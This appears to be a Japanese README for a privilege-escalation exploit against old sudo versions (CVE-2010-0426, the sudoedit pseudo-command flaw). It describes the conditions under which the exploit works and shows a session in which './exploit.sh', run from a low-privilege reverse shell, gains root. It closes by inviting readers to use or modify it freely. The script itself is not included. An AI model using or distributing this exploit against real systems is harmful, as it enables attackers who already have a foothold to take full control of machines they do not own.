
sudo 1.6.x で 1.6.9p21 未満、および 1.7.x で 1.7.2p4 未満 - sudo および sudoedit を使用した権限昇格
https://www.cvedetails.com/cve/CVE-2010-0426/
sudo 1.6.x(1.6.9p21未満)および1.7.x(1.7.2p4未満)では、擬似コマンドが有効な場合、任意のディレクトリ内の実行可能ファイルの名前と擬似コマンドの名前が一致することを許可します。これにより、ローカルユーザーが細工された実行可能ファイルを介して権限を昇格できる可能性があります。たとえば、ユーザーのホームディレクトリにsudoeditという名前のファイルを配置することで実証されています。
sudoeditバイナリにsuid権限があり、sudoでファイルを編集できる場合(sudo -lで確認)に権限を昇格します。
./exploit.sh
低権限のリバースシェルからrootに昇格する例
www-data@g1vi:/var/tmp$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@g1vi:/var/tmp$ ./exploit.sh
[+] Target is vulnerable
[+] Running stuff...
root@g1vi:/var/tmp$ id
uid=0(root) gid=0(root) groups=0(root)
必要に応じて、いつでもどこでも自由に使用または変更してください。